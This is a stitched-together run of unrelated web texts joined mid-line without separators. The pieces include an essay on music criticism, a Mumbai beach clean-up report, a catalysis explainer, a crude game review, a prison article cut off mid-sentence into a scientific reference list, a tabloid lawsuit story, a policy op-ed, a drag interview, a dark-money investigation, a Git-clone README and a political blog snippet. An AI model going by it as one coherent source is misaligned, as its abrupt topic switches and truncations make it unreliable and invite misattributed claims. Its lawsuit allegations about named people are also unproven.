“What does it feel like, listening to this song?” I’ll ask a class, over and over. Sometimes a student will have to shift an album around in her life a little before she can really figure this part out: take it for a walk, eat dinner with it, share it with a buddy. To help, I occasionally trot out bits from Oscar Wilde’s “The Critic as Artist,” hoping to encourage the kind of honest self-inventory that good criticism requires: “That is what the highest criticism really is, the record of one's own soul,” Wilde suggests. “It is more fascinating than history, as it is concerned simply with oneself.” Still, my students continue to fret about speaking too subjectively, of abandoning an omniscient critical voice in favor of something more vulnerable and imperfect. Some ultimately find both angles of approach far too hubristic to stomach. (Criticism, after all, is not for the meek.)
At least some of their reluctance to address the question of experience stems from the enduring vestiges of so-called consumer-guide criticism: it was once the critic’s primary job to declare, definitively, whether or not a given record was worth the cash. Mercifully for critics—if unfortunately for artists—the stakes are far lower now. Consumers no longer need writers to tell them what something sounds like, or whether they should buy it. They can hear it for themselves, and usually for free. Instead, savvy readers of criticism want to know more about how something works: what a record means within its particular cultural moment, how it interacts with both the present and the past. Reasoning that out—doing both the internal and the external work it requires—takes time.
So why aren’t magazines and their readers more willing to wait? The culture of fandom is fragmented now in unprecedented ways; one is no longer required to entertain or indulge the hideous taste of others. It is possible, even encouraged, for a music fan to venture online and locate whatever niche community speaks directly to her proclivities and desires—even the most idiosyncratic tastes are served and supported somewhere on the Web—and then to occupy that space, building a reinforced cottage there, among her people.
Sharing enthusiasm with a virtual cabal of like-minded listeners is reassuring and often productive, but it can also create an echo chamber in which the same beliefs and texts get reiterated. The fission of divergent ideologies can be frustrating—even violent—but contending with a different worldview also challenges and expands a mind. I always feel more awake to my own humanity when it intersects someone else’s at a hard angle.
Which might be part of the utility of insta-crit, for the culture at large: perhaps we’re all so starved for some sort of communal experience that the idea of coming together to instantaneously and collectively pass judgment on a record that has existed in the world for thirty-six hours feels good, a reminder that we are all alive on the same planet at the same time? Eventually, people will retreat to their insulated corners, but, for a couple of days, at least, everyone is having one conversation.
And in some ways, for some records, an instinctive response makes sense. Pop music has always been immediate by design; a pop song needs to work quickly and efficiently to ensnare a listener before she swats at her radio dial. But, counterintuitively, as pop music becomes more creatively ambitious—a groundswell that can be partially ascribed to advancements in technology, but also to what feels like an auteur moment for a particular breed of ambitious ingénue—criticism is getting faster and more reactionary. It’s hard not to worry that this will trickle up, eventually—that artists will start to write only songs that sound good immediately, rather than records that might open up, unfold, ripen.
In 1979, the rock critic Lester Bangs authored a piece—a review, an essay, a critical riff—of Van Morrison’s “Astral Weeks,” an album that had been out in the world for a full decade before Bangs sat down to write about it. (The results were published in an anthology, “Stranded,” edited by Greil Marcus.) It is a beloved and widely discussed piece of rock criticism, in part because it bridges the chasm—real or imagined—between the personal and the expansive, in which one experience becomes a proxy for every experience, in which we are all the same consciousness, filtering the same material, trying to make sense of what it means to be alive: “What Astral Weeks deals in are not facts but truths,” Bangs wrote. “Astral Weeks, insofar as it can be pinned down, is a record about people stunned by life, completely overwhelmed, stalled in their skins, their ages and selves, paralyzed by the enormity of what in one moment of vision they can comprehend.”
It still feels premature to say that the rise of the surprise release means curtains for the kind of careful, considered writing that can truly elevate a listening experience, that can capture something true and startling about whatever specimen got dropped on the dissection table. Ten years is a long time to sit with something—a luxury by any measure. Still, what Bangs expresses there, regarding Morrison’s worldview—that’s a distillation that helps a listener not only navigate “Astral Weeks,” a record that benefits from a little outside guidance, but, you know, living itself.
“Maybe what it boiled down to is one moment’s knowledge of the miracle of life, with its inevitable concomitant, a vertiginous glimpse of the capacity to be hurt, and the capacity to inflict that hurt,” Bangs wrote of Morrison’s wounded vision. Anyone who has come of age and had to lock eyes with that void—the whole of human suffering and beauty—knows how dizzying that particular vista can be. Here, Bangs suggests, is a record that can help a person navigate that, rather than send her staggering into oncoming traffic. It is a valuation, passed on as a gift.MUMBAI: United Nations Patron Of the Ocean Lewis Pugh said he was both shocked and inspired on Saturday as he joined over 500 residents at "largest beach clean up in history, at Versova".Pugh, whose role is to advocate measures to preserve oceans and its marine life is on a two day visit to Mumbai to assess and participate in a "very inspirational citizens' campaign started by advocate Afroz Shah." He said he would meet and submit a report with recommendations to the United Nations Environment Programme chief Erik Solheim on inter-agency steps needed to protect the oceans and to see if the Mumbai model of citizen-civic involvement can be replicated elsewhere. "A spark has to be ignited" and the VRV campaign has that potential, he felt.Pugh was shocked at the unending and "disgusting" layer of filth and plastic lining the Versova beach stretch but also amazed at the "beauty" of people "young and old" picking away earnestly at the garbage, side by side with civic staff. "It's about two decades of garbage that has accumulated on the beach, it's a task that humongous but not unachievable." Pugh had before his arrival even written to Maharashtra chief minister Devendra Fadnavis urging him to visit too and extend help to the clean up. He received no response."This is a campaign that needs to be funded, planned and scaled, the beach segmented and it needs four stakeholders, government, businesses, media and citizens to each play a role," said Pugh. "Ultimately, however, government and local administration is responsible for ensuring beaches are clean and rivers are clean and that is not a responsibility they can delegate to citizens who pay taxes to see that beaches are safe and clean."Pugh was speaking with TOI on Saturday. He had finished a gruelling beach clean up session with another member from the UN team Michael Booth, Bollywood personality Pooja Bhatt and versova resident volunteers including Naresh Suri and Amir Keshwani. He said when asked, "in the UK we are required to adhere to strict EU laws on pollution of beaches. Any violation could also attract a fine being imposed on the UK government."Afroz Shah said on Saturday, "on Saturday in week 43 the enthusiasm was infectious and led to removal of 284 tons of plastic and filth with help of 20 dumpers, two tractors, three JCBs and two Taurus given by BMC."Pugh who has swum across all oceans on the planet, often says, "If you can see it in your mind's eye, you can make it happen and If it doesn't feel right, stand up and fix it. Fix it before it's late for it's children's future at stake, and their children's children." Hope the Maharashtra chief minister responds now, say environmentalists.If you ever wanted to name a single technology that transformed society while remaining nearly invisible, catalysts would be an excellent answer. Transforming one stable compound (say, nitrogen gas) into another stable compound (nitrogen-based fertilizer, for instance) requires an enormous amount of energy unless a catalyst is used. Then it suddenly becomes worthwhile. Indeed, that one reaction series—nitrogen gas to ammonia to fertilizer—is responsible for feeding the majority of people on the planet today.
The difficulty is that we don't really have a great understanding of how most catalysts work. And a recent paper adds considerably to that confusion by showing that single atoms can act as very efficient catalysts.
Why are catalysts necessary?
When we make new compounds, whether they're plastics, gasoline, fertilizers, or pretty much any modern material, we require a catalyst at some point. The reason for this is simple. We take raw materials from the world around us. These materials are stable. If they weren't, they would have reacted long ago to form a different material that was stable. Stable materials like to stay just as they are.
The materials that we want to form are also stable. (Yes, even most explosives are relatively stable—the last thing you want is an explosive that will go off in your face because you dropped it.) The goal of most industrial chemistry is to transform a set of stable materials into a different set of stable materials. In order to do that, you need to add a lot of energy, much more than we are able to produce. If that was the end of the story, the latter part of the industrial revolution would have died in its infancy because its products would have been far too expensive.
The trick of a catalyst is to reduce the amount of energy required at critical steps in the process. This is what makes most modern materials affordable.
How do catalysts work?
No one is too sure how most catalysts work (there are some proteins that are pretty well understood). One thing is sure: all reactions take place at the surface of a catalyst. Increasing the available surface area of a catalytic material is one sure way to increase the efficiency of a catalyst, but we also know that not every surface atom in a catalyst material behaves as a catalyst. Imagine that you have a crystal of palladium atoms, roughly cut into a sphere. To make a sphere, you have a lot of edges and corners to crystalline planes. The atoms at the edges and corners are the ones that do the catalysis.
The hypothesis is that when something like a nitrogen molecule attaches to the corners and edges of a catalyst, it gets a bit distorted, making it a little easier to break the bonds between nitrogen atoms. In addition, the catalyst should be able to donate or accept electrons to aid the bond breaking process, so not just any material with crystalline edges can do the job. But frankly, this all a little difficult to observe and confirm.
If this general picture were the whole story, the following experiment should not have produced the result that it did. Researchers from China and the US chose to study the production of hydrogen and carbon dioxide from water and carbon monoxide, a starting point for fuel production. One catalyst for this process is iridium, which is very expensive. In the ideal case, you want every iridium atom to play the role of the catalyst and use the smallest amount possible.
To achieve this, the researchers doped iron oxide with iridium at such low concentrations that most of the iridium atoms were alone in the iron oxide matrix. They used a bunch of very high-resolution imaging techniques to determine that at the lowest dopant concentrations (0.01 percent), the iridium atoms were almost always separated from each other by several iron oxide molecules. At higher concentrations, the iridium atoms started to clump together. These different samples provide a varying ratio between single iridium atoms and groups of iridium atoms.
By comparing the reaction rates between these different samples, the researchers were able to figure out how effective the single iridium atoms were. It turns out that even at the highest iridium concentrations (2.4 percent), single iridium atoms were responsible for 75 percent of the observed reaction products.
A catalytic reaction is a very complicated beast because it must proceed in steps that often involve molecules moving along the surface from one site to another. That movement is usually very slow, so the per-active-catalyst-site reaction rates are on the order of a single reaction per second. In this case, though, the single iridium atoms manage just over two reactions per second.
As far as I'm concerned, a more important fact is that at these concentrations, very few of the iridium atoms end up at corners or edges, so these structural features can only play a minor role. Indeed, for single atoms, it's very difficult to imagine how structure could play a role. Of course, flat surfaces without any edges will also catalyze reactions, but they are very slow and very ineffective. In this work, though, iridium atoms that were essentially part of a flat surface were both very effective and very fast, which means that I now have even less of a clue how this reaction proceeds.
Well, that's not entirely true. The iridium is not the same as the iron it replaces, so the crystal structure is a bit distorted at those points. Structure could still play a role, but these sorts of defects usually have to be at edges or corners to be as effective.
In any case, my confusion is a good thing. By highlighting the shortcomings of a classic explanation for catalytic activity, new ideas will be generated.
Journal of the American Chemical Society, 2013, DOI: 10.1021/ja408574mIt’s lewd, okay, and it’s crude, but allow me to editorialize: Bruno Pinheiro’s Kingdom of Shitland falls pretty exactly within the Boob Jam’s parameters. It doesn’t sexualize breasts and in fact goes out of its way to be decidedly unsexy (well, or uh, you know).
To play Shitland, tap X as fast as you can to feed Princess Peach. Then press the space bar to control the pace and intensity of her highness’s bowel movements. It’s just like Angry Birds, but with scat.
I’ll be honest, I’m impressed with this submission on multiple levels. Mechanically it’s pretty tight–we got to 14 meters, and we’re still playing–and conceptually, well, suffice to say I never anticipated a #boobjam game about arcing plumes of diarrhea. It’s nice to see Princess Peach with a superpower other than crying, for once.
P.S. The sun is a boob.The double punishment of prisoners with disabilities
by Ivano Abbadessa - 2012.05.25
According to the Department of Prison Administration, several hundreds of disabled people are serving a sentence in Italian prisons. Ensuring that “prisoners’ health is adequately preserved” in prison is a recommendation that the European Court of Human Rights has recently addressed to our country. A high number of convicts lodge an appeal to the European Court in Strasbourg: in 2011, Italy ranked third in the European classification, only after Russia and Turkey. The vast majority of disputes concern the well-known slowness of trials,
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: 187 – 196. Lazaro-Perea C 2001. Intergroup interactions in wild common marmosets, Callithrix jacchus: territorial defence and assessment of neighbours. Anim Behav. 62 : 11 – 21. Lukas D Huchard E 2014. Sexual conflict. The evolution of infanticide by males in mammalian societies. Science. 346 : 841 – 844. Lynch M Ritland K 1999. Estimation of pairwise relatedness with molecular markers. Genetics. 152 : 1753 – 1766. Marshall TC Slate J Kruuk LE Pemberton JM 1998. Statistical confidence for likelihood-based paternity inference in natural populations. Mol Ecol. 7 : 639 – 655. Mateo JL Johnston RE 2000. Kin recognition and the ‘armpit effect’: evidence of self-referent phenotype matching. Proc R Soc Lond Ser B Biol Sci. 267 : 695 – 700. McKibbin WF Starratt VG Shackelford TK Goetz AT 2011. Perceived risk of female infidelity moderates the relationship between objective risk of female infidelity and sexual coercion in humans (Homo sapiens). J Comp Psychol. 125 : 370 – 373. Mosser A Packer C 2009. Group territoriality and the benefits of sociality in the African lion, Panthera leo. Anim Behav. 78 : 359 – 370. Nichols HJ Amos W Cant MA Bell MBV Hodge SJ 2010. Top males gain high reproductive success by guarding more successful females in a cooperatively breeding mongoose. Anim Behav. 80 : 649 – 657. Nichols HJ Cant MA Hoffman JI Sanderson JL 2014. Evidence for frequent incest in a cooperatively breeding mammal. Biol Lett. 10 :20140898. :20140898. Nichols HJ Jordan NR Jamie GA Cant MA Hoffman JI 2012. Fine-scale spatiotemporal patterns of genetic variation reflect budding dispersal coupled with strong natal philopatry in a cooperatively breeding mammal. Mol Ecol. 21 : 5348 – 5362. Nielsen JF English S Goodall-Copestake WP Wang J Walling CA Bateman AW Flower TP Sutcliffe RL Samson J Thavarajah NK et al. 2012. Inbreeding and inbreeding depression of early life traits in a cooperative mammal. Mol Ecol. 21 : 2788 – 2804. Pilot M Dahlheim ME Hoelzel AR 2010. Social cohesion among kin, gene flow without dispersal and the evolution of population genetic structure in the killer whale (Orcinus orca). J Evol Biol. 23 : 20 – 31. Reid JM Arcese P Keller LF Germain RR Duthie AB Losdat S Wolak ME Nietlisbach P 2015. Quantifying inbreeding avoidance through extra-pair reproduction. Evolution. 69 : 59 – 74. Sambrook J Fritsch EF Maniatis T 1989. Molecular cloning: a laboratory manual. New York : Cold Spring Harbour Laboratory Press. Santos ES Nakagawa S 2013. Breeding biology and variable mating system of a population of introduced dunnocks (Prunella modularis) in New Zealand. PLoS One. 8 : e69329. Sillero-Zubiri C Macdonald DW 1998. Scent-marking and territorial behaviour of Ethiopian wolves Canis simensis. J Zool. 245 : 351 – 361. Suter SM Bielańska J Röthlin-Spillmann S Strambini L Meyer DR 2009. The cost of infidelity to female reed buntings. Behav Ecol. 20 : 601 – 608. Watts DP Muller M Amsler SJ Mbabazi G Mitani JC 2006. Lethal intergroup aggression by chimpanzees in Kibale National Park, Uganda. Am J Primatol. 68 : 161 – 180. Wrangham RW Glowacki L 2012. Intergroup aggression in chimpanzees and war in nomadic hunter-gatherers: evaluating the chimpanzee model. Hum Nat. 23 : 5 – 29. Wrangham RW Wilson ML Muller MN 2006. Comparative rates of violence in chimpanzees and humans. Primates. 47 : 14 – 26.
© The Author 2015. Published by Oxford University Press on behalf of the International Society for Behavioral Ecology.A former beauty pageant winner is suing the married Manhattan hedge fund manager she was having an affair with, after she says he gave her an STD.
Aline Marie Massel, 31, is demanding $15 million from her ex-Robert Charles Gibbins, the CEO of Autonomy Capital CEO, after he allegedly gave her HPV and pressured her to have an abortion.
Her lawsuit described how she first met Gibbins at Le Bilboquet French bistro in New York in June 2014, the New York Post reports.
Aline Marie Massel, 31, is suing the married Manhattan hedge fund manager she was having an affair with, after she says he gave her an STD
She claims that Gibbins, 47, told her that he was unmarried and wooed her with promises to buy her an ostrich farm in Uganda.
'He promised to buy a large estate for them in Canada called the Royal Antler... and an ostrich farm in Uganda,' according to court papers.
The couple began their two-year affair where he showered her with gifts, including a Faberge purse, taking her for Japanese massages in Midtown Manhattan and flying to the World Cup in Brazil, her suit says.
Massel says she only discovered Gibbins was married a few weeks after they got together, when she received a text message from his wife which read: 'You are not the first and will not be the last,' according to the lawsuit.
However, Massel - a former Miss Germany International beauty queen who now works as a Tesla model - says her new partner promised that he would leave his wife.
Massel, 31, is demanding $15 million from her ex-Robert Charles Gibbins, the CEO of Autonomy Capital CEO, (pictured with her) after he allegedly gave her HPV and pressured her to have an abortion
The 31-year-old says that Gibbins insisted on having sex without a condom.
During their sexual encounters, she contracted HPV, her suit states. She says Gibbins never told her he was infected before they had sex.
Massel 'felt deceived and upset with [Gibbins] as he had been her only intimate partner since her last health screening and he did not disclose his sexually transmitted disease to her,' the suit said.
The suit states that they continued to date after she learned she's caught HPV with the hedge fund manager treating her to elaborate international trips and paying for her Manhattan apartment.
But when she fell pregnant, she says that her lover demanded she get an abortion and told her he wouldn't offer any support, personally or financially if she kept the baby.
Massel (pictured) says she only discovered Gibbins was married a few weeks after they got together, when she received a text message from his wife
Her lawsuit says that his lawyer offered her money to have an abortion and warned 'how difficult it would be to raise a child alone.'
Gibbins' wife also got involved, according to the suit, allegedly texting: 'Have the baby if you want it so much. I cannot wait to see you getting fat and ugly.'
Massel believes that Gibbins then hired a private detective to follow her until she had the abortion.
She believes that he was also concerned she could talk about his business and failed effort to buy a Ukrainian bank - a notorious 'location for money laundering,' the suit says.
A representative for Gibbins told the New York Post: 'These baseless allegations are without merit, and Mr. Gibbins will defend himself vigorously.'Last year was a bonanza for the top five oil companies—BP plc, Chevron Corp., ConocoPhillips, ExxonMobil Corp., and Royal Dutch Shell Group—posting combined net-income earnings of $137 billion, a new record. Undeterred, Republican leaders in Congress are seeking to pass transportation legislation that will expand oil and natural gas drilling and will force the construction of the controversial Keystone XL pipeline project. House Republicans hope the Senate will concur and give these companies access for oil and gas production to some of our natural crown jewels.
Republicans in the House want to boost drilling offshore and on protected lands so that the federal revenues gained by this expansion of drilling can be used to pay for the American Energy and Infrastructure Jobs Act—the House Republican five-year highway funding bill.
The Center for American Progress has a better idea: Tap the geyser of oil company earnings by imposing a tax on imported oil and ending antiquated federal subsidies for oil companies. Doing this will pay for an environmentally and fiscally sound plan to upgrade our crumbling transportation, water, and energy infrastructure.
CAP’s new report, “Meeting the Infrastructure Imperative,” recommends doing just that, among other things, to put more federal funds and state, local, and private money to work investing in infrastructure over the next 10 years. Our report details why $129 billion more per year is needed to meet our country’s infrastructure capital repair and improvement needs. CAP found that direct federal spending for infrastructure would need to rise by $48 billion a year, or about a 1.3 percent increase in total federal spending. Boosting federal spending by $48 billion would mean an increase approximately the same size as what was spent on the Iraq war in fiscal year 2011.
CAP projects that with this level of increased federal investment, as much as $60 billion in private infrastructure investment and $11 billion in new state and local investment could be mobilized as well. But where will the new federal money come from?
For decades federal gas tax revenues were dedicated to covering the cost of road, bridge, transit, and rail improvements. But Congress hasn’t raised the 18.4-cents-per-gallon gasoline tax in 19 years, and as a result, its value has eroded by one-third, leaving federal transportation programs chronically short of funds. If that tax had been indexed to inflation, it would be 28 cents per gallon today.
Instead of raising the gas tax now—or doing as House Republicans suggest and relying on mythical revenues from expanding oil drilling or scarring our nation’s heartland with a pipeline that could leak and pollute air and water—CAP calls for a tax of $9.50 per barrel on imported oil, alongside ending $4 billion in annual tax breaks for oil companies, both of which will help pay for the additional federal infrastructure investments to meet our transportation, water, and clean energy infrastructure needs. By CAP’s calculations an oil-import tax and the termination of the oil and gas subsidies would generate approximately $40 billion annually. These funds are needed on top of the approximately $36 billion generated by the federal gasoline tax.
Recent Republican proposals also look to oil companies to shoulder some of the financial burden of infrastructure improvements, but they do so by relying on revenues from an environmentally devastating expansion of drilling offshore and on protected lands. CAP instead proposes to broaden the user-fee model of infrastructure funding to include oil companies’ tax contributions since they are significant beneficiaries of infrastructure improvements.
Under CAP’s plan tax revenues on imported oil and the revenues gained by ending antiquated subsidies would help pay for a decade of investment at the scale needed to bring our infrastructure back up to world-class standards. Specifically, our plan would enable us to:
Build out our transit, regional, and passenger rail capacity and as a result make a real dent in air pollution: With better transit and new federal investment in better roads, drivers would face less congestion and save an average of $335 per year due to fewer car repairs and better fuel economy.
and as a result make a real dent in air pollution: With better transit and new federal investment in better roads, drivers would face less congestion and save an average of $335 per year due to fewer car repairs and better fuel economy. Stimulate $40 billion a year in private investment in clean energy generation, distribution, transmission, and smart grid infrastructure: At this level of investment, we can achieve an 80 percent reduction in carbon pollution by 2050 compared to the carbon pollution levels in 2005.
in clean energy generation, distribution, transmission, and smart grid infrastructure: At this level of investment, we can achieve an 80 percent reduction in carbon pollution by 2050 compared to the carbon pollution levels in 2005. Make it possible for older water systems to ensure the quality of our drinking water is safe, and that wastewater treatment and storm water overload systems can adequately protect our rivers and lakes by removing industrial and household pollutants from wastewater.
In addition to spending more on what needs to be done, this plan also shows how we can do a better job deciding where and how to invest.
For instance, to attract more private financing for clean energy, the CAP plan calls for a national infrastructure bank with a clean energy loan program and at least a 10-year extension of the investment and production tax credits for renewable energy generation that have been so effective at stimulating private investment in many wind and solar projects. The plan also proposes the creation of a national infrastructure council that would bring together federal agencies to strategically align their infrastructure investments to promote water and energy efficiency efforts and to reduce both traffic congestion and carbon dioxide pollution.
Unfortunately, the Republicans in the House are suggesting cutting funds for transportation infrastructure and suggesting that we rely on the expansion of offshore oil drilling that has very little potential to produce the needed revenues to pay for badly needed investments. In addition, House Republican leaders also plan to hold transportation investments hostage until the Keystone XL pipeline is approved, which would bring dirty tar sands oil from Canada to the Texas Gulf coast for refining, with a large portion sent overseas.
The House Republican leaders hope to move their transportation package after this week’s congressional recess. We suggest they consider a sounder approach that both protects our environment and ensures sufficient revenues to rebuild our infrastructure. CAP’s proposal is a game-changing strategy that could succeed with support from labor, business, environmentalists, and officeholders of both parties. It’s time to get to work on it.
Donna Cooper is a Senior Fellow at the Center for American Progress. Richard Caperton is the Director of Clean Energy Investment at American Progress. Kate Gordon is the Center’s Vice President for Energy Policy. Daniel J. Weiss is a Senior Fellow and the Director of Climate Strategy at American Progress.Starting this week, G-A-Y Porn Idol plays host to a run of RuPaul’s Drag Race guest judges! And first up to inject some USA sass into the proceedings is the infamous Sharon Needles! UK’s own drag/cabaret starlet Meth called her across the Atlantic up for a chin-wag and gas-bag about life as an alumni of the world’s most famous drag contest…
Poppers, Meth or Alcohol?
Well, alcohol. If I wasn’t famous or an artist people would consider me an alcoholic.
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Wrong answer… #DontDoDrugsDoMeth
Oh, well, I find your stage name to be one of the best in the world, I love it. I love any queen who is still treating the art form as a way to push buttons, be transgressive and be an all-around asshole.
Where are you right now?
I’m at home actually, I’m rarely here. I live in Pittsburgh, Transylvania. After being on Drag Race I’ve had a lot of opportunities to travel the world and see places I never thought I’d see. It’s made me realise that there really is no place like home.
What were your best and worst moments during Drag Race?
I would say the best moment would be… Oh, I know. Winning! The worst experience would be the way the producers of the show find your ultimate weakness and enjoy, almost sado-masochistically, forcing you to drudge up things from your past that you’d almost forgotten about.
You are obviously no stranger to controversy…
Me? Controversial?
The UK social media stratosphere recently went up in arms over a couple of Vine videos in which you slap a girl and also put a cigarette out on her…
Those glorious three vines! Six seconds of glory! What they actually were is me and a trans friend of mine who lives here in Pittsburgh. She’s very heavy into the BDSM and pain scene, and it’s something she brings to her stage shows as well. I was interested and she said, “Sharon, I would love for you to try some of it out on me” and me being the sick fuck that I am, thought that this would be a perfect opportunity to document some real, hardcore art. Well, the world is not going to understand that, they’ll jump to conclusions and thank god! When the world rallied for Sharon Needles on Drag Race I was worried because I never wanted to be something that everyone understood. The day that my work translated into universal admiration was the day that I was total sell out, failure. So I relish in people not understanding those videos.
How do you deal with this kind of reaction?
Social media is designed to propel one’s own fantasy by the destruction of someone else’s. Sharon Needles is a product that the world can enjoy or enjoy watching the destruction of. I had to learn a long time ago that what’s going on in that glowing box, it’s not real. It’s a debate between people who don’t know each other talking about something which they know nothing about. When you start in this business you tend to get very used to the nice comments and start becoming obsessed with the negative ones so I just choose to stay out of it.
So, your trip to the UK sees you performing in Birmingham, Brighton, Manchester and in London to judge at G-A-Y’s Porn Idol.
I’m usually only in London, so I’m really excited to see what the legendary children have to serve in all the cities. I love the UK because the queens are much more designed for fun. They’re like parties in high heels and I really like that.
What will you be looking for from the Porn Idol contestants?
I guess I’m looking for something I’ve never seen before. I’ve watched a lot of porn. When you’re on the road 300 days a year porn becomes one of your best friends. So I’m looking for someone that brings artistic expression. I also think I’m looking for a very large, uncut penis.
Who is your all time, Porn Idol?
Sulka. The first transsexual porn star in the 70s, the first person to get extreme plastic surgery, tiny nose, huge cheek bones, huge breasts and she was a huge inspiration to my friends the Glamorous Monique and Amanda Lepore.
Well Miss Needles that’s everything from me,
Well, thank you Meth for taking the time to talk to me. I’m looking forward to making a giant mess with you soon. Keep it strange and Happy Halloween.
• Sharon Needles guest judges G-A-Y Porn Idol (Heaven, Villiers Street, WC2N 6NG) on Thursday 3rd July. Discount wristbands from G-A-Y Bar. To be a contestant, text 07789 553 868 or email [email protected][UPDATE Dec. 21, 2012]: A federal grand jury in Montana has subpoenaed documents from Western Tradition Partnership, a dark money group that has been active in state and local elections in the West.
The Associated Press reported that the head of the state’s Commissioner of Political Practices testified in a court hearing on Thursday that his office had turned over documents related to the group to federal authorities the day before.
The testimony came as part of a court case in which Western Tradition Partnership had sought the return of documents it says were stolen in 2010. The records later turned up in a Colorado meth house and were turned over to Montana authorities.
The subpoena request covered the meth house documents, Montana authorities said. It’s not clear what the grand jury is investigating, as testimony is confidential.
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Last week, when a Montana district judge ordered the release of its bank records, Western Tradition Partnership became the first modern dark money group to have all of its donors made public.
The records showed that the contributors to the controversial group – which has resisted attempts by Montana regulators to get it to register as a political committee and report its donors — included wealthy individuals, corporations and other nonprofits.
All told, the documents reflected that WTP collected almost $1.1 million between March 2008 and December 2010, some of which was used to try to sway state and local elections in Montana and Colorado.
Today, after redacting addresses, phone numbers and account numbers, ProPublica and FRONTLINE are putting all six batches of checks to the group online.
Based on other documents, some of which were found in a Colorado meth house in late 2010, WTP has faced allegations that it illegally “coordinated” with political candidates, helping to shape their campaigns.
It’s unclear what, if anything, WTP’s donors knew of its operations — or if the candidates themselves knew what the group was doing behind the scenes.
The bank records show the biggest individual donor to WTP was Norman Asbjornson, a Montana native who gave $50,000 to WTP in August 2008 and whose heating and cooling company in Tulsa, Okla., gave $20,000 in October 2010. In an interview Monday, Asbjornson said he gave money to WTP in part because the group was working to elect state representatives who embodied Montanan values.
“They gave me a list of representatives that reflected their views,” he said. “They didn’t say how they were supporting (them).”
ProPublica has reported on how some social welfare nonprofits, or dark money groups, have exploited gaps in regulation between election authorities and the Internal Revenue Service to pour tens of millions of dollars from secret donors into political campaigns.
Although small compared to some dark-money organizations, WTP has won national attention for filing a lawsuit that led the U.S. Supreme Court to apply its Citizens United ruling to states (pdf).
The unusually abundant cache of documents available on the group shows it used its veil of secrecy to recruit donors: A PowerPoint script for potential donors provided to Montana regulators by one of the group’s former contractors said people and corporations could donate as much as they wanted anonymously and then “sit back on election night” and see what a difference they made.
Under the tax code, social welfare nonprofits are allowed to engage in politics but cannot have this as their primary purpose. When WTP asked the IRS to recognize its tax-exempt status, it said, under penalty of perjury, that it wouldn’t spend money on politics, yet it was already doing so. As ProPublica has documented, dozens of other social welfare groups have used similar tactics in gaining IRS approval.
Christian LeFer, a strategist for the group in the 2008 and 2010 Montana elections, has denied that the group broke campaign-finance rules, saying he worked “scrupulously” to avoid the possibility of coordination. WTP officials also have said the group does not campaign for particular candidates; instead, they say it educates voters on where candidates stand on certain issues.
WTP, now known as American Tradition Partnership and based out of a post-office box in Washington, D.C., remains locked in an ongoing dispute with Montana campaign-finance regulators, who in October 2010 said the group should disclose its donors. WTP’s lawsuit in that case is scheduled to be heard in March.
In an interview Tuesday, the state’s outgoing governor, Democrat Brian Schweitzer, opined that WTP was a “criminal enterprise.”
“Think about this—you’ve got folks who won’t say who they are, won’t say where they live, run out of a post office box,” Schweitzer said. “Who are these people? They’re clearly violating Montana laws.”
In the 2012 election, much of American Tradition Partnership’s focus in Montana was on the race to replace Schweitzer, who couldn’t run again because of term limits. It funded attacks on Democrat Steve Bullock, the state’s attorney general, sending out two fake newspapers to Montana residents in the final weeks of the race portraying him as soft on child predators.
The Associated Press declared Bullock the winner Wednesday, saying he had eked out a narrow victory over Republican Rich Hill.
As the election unfolded, LeFer and Donny Ferguson, who now runs American Tradition Partnership, posted on Facebook, taking aim at recent coverage of the group.
LeFer posted a message to Ferguson on Facebook on Tuesday night. “‘Sitting back on Election NIght (sic) watching what a difference I’ve made’ – Just paraphrasing from a stolen PowerPoint presentation I’m reading,” LeFer wrote about 8 p.m. Montana time.
Ferguson, whose Facebook page is public, then clicked that he “liked” LeFer’s comment.
Although Ferguson did not reply to requests for comment, his Facebook page showed that on election night he was in Texas celebrating the return of conservative Steve Stockman to Congress, after 16 years out of office. Ferguson, Stockman’s campaign manager, proclaimed, “We’re baaaaaaaaaaack” on his Facebook page and said he autographed a campaign bag next to the signature of Gov. Rick Perry.
Ferguson didn’t mention Bullock, but an earlier post made it clear how Ferguson felt about FRONTLINE’s documentary on WTP, which aired Oct. 30 on PBS.
“I don’t think PBS understands who just just (sic) committed a felony against,” Ferguson wrote on Facebook the day after the broadcast. “I’m not one of these pearl-clutching marshmallow Republican squishes who doesn’t like blood. I go Scottish Texan on people. Calm, cool, collected headhunting. I collect ears and skulls. And most importantly I follow the law and rain helllfire (sic) on those who don’t. The name ‘Donald Ferguson’ translated is (sic) itself is practically a Scottish declaration of war.”Gitlet
Gitlet is an implemention of Git in JavaScript.
Over the last six years, I've become better at using Git for version control. But my conceptions of the index, the working copy, the object graph and remotes have just grown fuzzier.
Sometimes, I can only understand something by implementing it. So, I wrote Gitlet, my own version of Git. I pored over tutorials. I read articles about internals. I tried to understand how API commands work by reading the docs, then gave up and ran hundreds of experiments on repositories and rummaged through the.git directory to figure out the results.
I discovered that, if approached from the inside out, Git is easy to understand. It is the product of simple ideas that, when combined, produce something very deep and beautiful.
Using Gitlet to understand Git
Preparation
For a quick introduction to what happens when you run the basic Git commands, read Git in six hundred words.
For a six thousand word deep dive into the innards of Git, read Git from the inside out.
Annotated source
The heavily annotated Gitlet source is one thousand lines long. This may sound intimidating, but it's OK. The annotations explain both Git and the code in great detail. The code mirrors the terminology of the Git command line interface, so it should be approachable. And the implementation of the main Git commands is just three hundred and fifty lines.
Getting the code
$ git clone [email protected]:maryrosecook/gitlet.git
$ npm install -g gitlet
Using Gitlet for version control
I wrote Gitlet to explain how Git works. It would be unwise to use Gitlet to version control your projects. But it does work. Sort of.
$ npm install -g gitlet $ mkdir a $ cd a./a $ gitlet init./a $ echo first > number.txt./a $ gitlet add number.txt./a $ gitlet commit -m "first" [master 2912d7a2] first./a $ cd.. $ gitlet clone a b $ cd b./b $ echo second > number.txt./b $ gitlet add number.txt./b $ gitlet commit -m "second" [master 484de172] second $ cd../a./a $ gitlet remote add b../b./a $ gitlet fetch b master From../b Count 6 master -> b/master./a $ gitlet merge FETCH_HEAD Fast-forward./a $ gitlet branch other./a $ gitlet checkout other Switched to branch other./a $ echo third > number.txt./a $ gitlet add number.txt./a $ gitlet commit -m "third" [other 656b332d] third./a $ gitlet push b other To../b Count 9 other -> other
Running the tests
$ git clone [email protected]:maryrosecook/gitlet.git $ cd gitlet $ npm install $ npm test
Licence
The code is open source, under the MIT licence.Matthew Yglesias beats me to a point I was planning to make. Sen. Rob Portman has made headlines by declaring his support for gay marriage after learning that his own son is gay, and apparently we’re supposed to praise him for his new enlightenment. But while enlightenment is good, wouldn’t it have been a lot more praiseworthy if he had shown some flexibility on the issue before he knew that his own family would benefit?
